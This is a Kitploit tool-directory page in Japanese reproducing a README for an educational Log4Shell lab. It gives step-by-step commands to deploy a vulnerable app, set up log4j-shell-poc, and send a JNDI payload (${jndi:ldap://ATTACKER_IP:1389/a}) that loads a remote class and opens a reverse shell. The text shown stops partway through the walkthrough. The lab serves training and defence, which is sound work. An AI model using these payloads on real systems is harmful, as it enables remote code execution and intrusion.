Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Log4Shell-CVE-2021-44228 — Docker、Kali Linux、Burp Suite、log4j-shell-pocを使用してLog4Shell(CVE-2021-44228)を悪用・理解するためのハンズオンラボ。管理されたラボ環境での教育・防御訓練専用。 | Kitploit
ツール/GitHubGitHub/drhaitham/log4shell-cve-2021-44228
ペイロード生成脆弱性分析エクスプロイトリバースエンジニアリングウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育レッドチーミング

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ラボと実践
GitHubdrhaitham/log4shell-cve-2021-44228

Log4Shell-CVE-2021-44228

Docker、Kali Linux、Burp Suite、log4j-shell-pocを使用してLog4Shell(CVE-2021-44228)を悪用・理解するためのハンズオンラボ。管理されたラボ環境での教育・防御訓練専用。

リポジトリを見る
149ヶ月前未レビュー

Log4Shell(CVE-2021-44228)の悪用:完全かつ最新の実証ラボ

Log4Shell(CVE-2021-44228)は、これまでに公開された中で最も影響力のあるリモートコード実行の脆弱性の1つです。この脆弱性は、広く使用されているJavaロギングフレームワークであるApache Log4j 2に影響し、攻撃者がログメッセージ内のJNDIルックアップを悪用して任意のコードを実行することを可能にします。

このガイドでは、以下を使用した完全で再現可能なデモンストレーションラボを提供します。

  • Kali Linux(攻撃者)
  • Docker化された脆弱なLog4j2アプリケーション
  • 公開PoC log4j-shell-poc
  • curl、Burp Suite、Netcat

これは、管理された環境での教育、研究、トレーニング、防御意識向上のために設計されています。 構造とスタイルは、関連する「Shellshock」ラボのREADMEと同じ精神に従っています。


📌 目次

  1. 法的・倫理的通知
  2. 概要
  3. 学習目標
  4. ラボアーキテクチャ
  5. 前提条件
  6. KaliへのJDK 1.8.0_202のインストール
  7. 脆弱なLog4jアプリケーションのデプロイ(Docker)
  8. エクスプロイトPoCの準備
  9. poc.pyのJDK 1.8.0_202使用設定
  10. エクスプロイトサービスの起動(LDAP + HTTP + ペイロード)
  11. リバースシェルリスナーの起動
  12. curl経由でのLog4Shell悪用
  13. Burp Suite経由でのLog4Shell悪用
  14. 攻撃チェーンの仕組み
  15. 対策と防御
  16. コマンド早見表
  17. スクリーンショット集(任意)
  18. 参考資料
  19. クレジット

0. 法的・倫理的通知

このラボは、明示的な許可を得た管理環境(自身のラボ、教室のVMなど)でのみ実施する必要があります。

  • 本番システムを攻撃しないでください。
  • 自分が所有または管理していないホストに対して実行しないでください。
  • この資料は教育、研究、防御目的のみに使用してください。

1. 概要

Log4Shell(CVE-2021-44228)は、Apache Log4j 2における重大なRCE脆弱性です。

問題は、脆弱なLog4j2バージョンが攻撃者制御の文字列(次のようなもの)を解釈することに起因します。

${jndi:ldap://ATTACKER_IP:1389/a}

この文字列がログに記録されると、Log4jは以下の処理を行います。

  1. 攻撃者が制御するサーバーに対してJNDIルックアップ(例:LDAP経由)を実行します。
  2. 悪意のあるJavaクラスへの参照を受け取ります。
  3. HTTP経由でクラスをダウンロードし、JVMにロードします。
  4. それを実行し、リモートコード実行を実現します。

このラボでは、以下のことを行います。

  • 脆弱なLog4j2 WebアプリケーションをDockerコンテナ内で実行します。
  • log4j-shell-pocを使用してKali上で悪意のあるLDAP + HTTPサーバーを実行します。
  • curlおよびBurp Suite経由でLog4Shellペイロードを配信します。
  • 脆弱なコンテナからリバースシェルを取得します。

2. 学習目標

このラボの終了時点で、以下のことができるようになるはずです。

  1. Log4Shellがどのように機能するか、JNDIが誤用された場合に危険な理由を高レベルで説明できる。
  2. Dockerを使用して脆弱なLog4j2アプリケーションをデプロイできる。
  3. PoCで必要となるJDK 1.8.0_202をインストールおよび設定できる。
  4. PoCスクリプトを介して悪意のあるLDAPサーバーとHTTPサーバーを実行できる。
  5. 脆弱性をトリガーしてリバースシェルを取得できる。
  6. Burp Suiteを使用してHTTPヘッダーにエクスプロイトを注入できる。
  7. 現実的な緩和策と検出戦略について議論できる。

3. ラボアーキテクチャ

すべてのコンポーネントは、既存の仮想ラボ上で実行されます。この文書では、以下の想定とします。

  • Kali Linux VM が攻撃者です。
  • Kali は脆弱なアプリを含むDockerコンテナも実行します。
コンポーネント役割 / 説明ツール / サービスアドレス例
Kali Linux VM(攻撃者+ホスト)PoCエクスプロイト、LDAPサーバー、HTTPサーバー、Netcatリスナー、Burp Suiteを実行Python 3、JDK 1.8.0_202、Netcat、Burp Suite、Docker、curl、Git192.168.1.4(Kali IP例)
脆弱なLog4j2 Webアプリケーションターゲット。Log4Shellに対して脆弱なSpring Boot WebアプリDockerイメージ: ghcr.io/christophetd/log4shell-vulnerable-apphttp://127.0.0.1:8080 で公開

キーアイデア

攻撃者は以下の文字列を注入します。

${jndi:ldap://192.168.1.4:1389/a}

をHTTPヘッダーに。脆弱なアプリはそれをLog4j2でログに記録 → 192.168.1.4:1389 に対してJNDI LDAPルックアップを実行 → http://192.168.1.4:8000 から悪意のあるクラスをダウンロード → そのクラスを実行し、192.168.1.4:9001 へのリバースシェルを開きます。


4. 前提条件

Kali には以下が必要です。

  • Docker(インストール済みで動作すること)
  • Python 3(Kaliのデフォルト)
  • Netcat(nc)
  • Burp Suite(Community Editionで十分)
  • 初期ダウンロードのためのインターネットアクセス
  • LinuxとHTTPに関する基本的な知識

このガイド全体で、KaliのIPは次のとおりとします。

192.168.1.4

IPが異なる場合は、すべてのコマンドを適宜調整してください。


5. KaliへのJDK 1.8.0_202のインストール(必須)

PoCは、**Java SE 8 Update 202(JDK 1.8.0_202)**に依存しています。これは、それ以降のJavaバージョンではこのエクスプロイトで使用されるリモートクラスローディング動作が制限されるためです。

KaliにすでにOpenJDK 21(または類似のもの)がインストールされていても、8u202を別途インストールする必要があります。

5.1 作業ディレクトリを作成

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 HuaweiCloudミラーからJDK 8u202をダウンロード

ミラールート:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Linux x64 tarball(約185 MB)をダウンロード:

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # 約185Mのはず

5.3 /usr/bin/jdk1.8.0_202 に展開

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

--strip-components=1 オプションは、アーカイブのトップレベルディレクトリを削除し、ファイルが /usr/bin/jdk1.8.0_202 の直下に配置されるようにします。

5.4 インストールの確認

/usr/bin/jdk1.8.0_202/bin/java -version

期待される出力:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

これが表示されれば、JDK 1.8.0_202 は正しくインストールされています。


6. 脆弱なLog4jアプリケーションのデプロイ(Docker on Kali)

Kaliの新しいターミナルで(~/Log4Shell にい続けて構いません):

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

次のようなログが表示されるはずです。

:: Spring Boot ::  (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
  • これでアプリは Kali から http://127.0.0.1:8080/ でアクセス可能になります。
  • このターミナルは実行したままにしてください。 これがターゲットです。

簡単な動作確認:

curl http://127.0.0.1:8080/

Whitelabel Error Page(HTTP 400)が表示されるかもしれません。問題ありません。必要なのはアプリが実行され、リクエストをログに記録することだけです。


7. エクスプロイトPoCの準備(on Kali)

7.1 log4j-shell-poc のクローン

新しいターミナルで:

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

ファイルを確認:

ls
# poc.py, target/, README, etc. Exploit.java は後で生成されます。

8. poc.py のJDK 1.8.0_202使用設定

デフォルトでは、poc.py はリポジトリ内の jdk1.8.0_20 というディレクトリにローカルJDKがあることを期待します。代わりにJDK 8u202を /usr/bin/jdk1.8.0_202 にインストールしたため、スクリプトを更新する必要があります。

8.1 poc.py をエディタで開く

nano poc.py

8.2 元のJavaパスの行を特定

jdk1.8.0_20 を検索します(nanoの場合: Ctrl+W、jdk1.8.0_20 と入力し、Enter)。

次のような3か所が見つかるはずです。

subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])

exit_code = subprocess.call([
    os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

8.3 JDK 8u202への絶対パスに置き換え

次のように置き換えます。

subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])

exit_code = subprocess.call([
    "/usr/bin/jdk1.8.0_202/bin/java",
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    "/usr/bin/jdk1.8.0_202/bin/java",
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

保存して終了:

  • Ctrl + O → Enter
  • Ctrl + X

これでPoCは /usr/bin の JDK 1.8.0_202 を使用するようになります。


9. エクスプロイトサービスの起動(LDAP + HTTP + ペイロード生成)

~/Log4Shell/log4j-shell-poc から:

9.1 PoCスクリプトの実行

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

パラメータ:

  • --userip – Kali IP(攻撃者): 例 192.168.1.4。
  • --webport – 組み込みHTTPサーバーのポート: 8000。
  • --lport – ペイロードが接続してくるポート: 9001。

すべてが正しく設定されていれば、次のような表示がされるはずです。

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389

重要:

ツールをダウンロード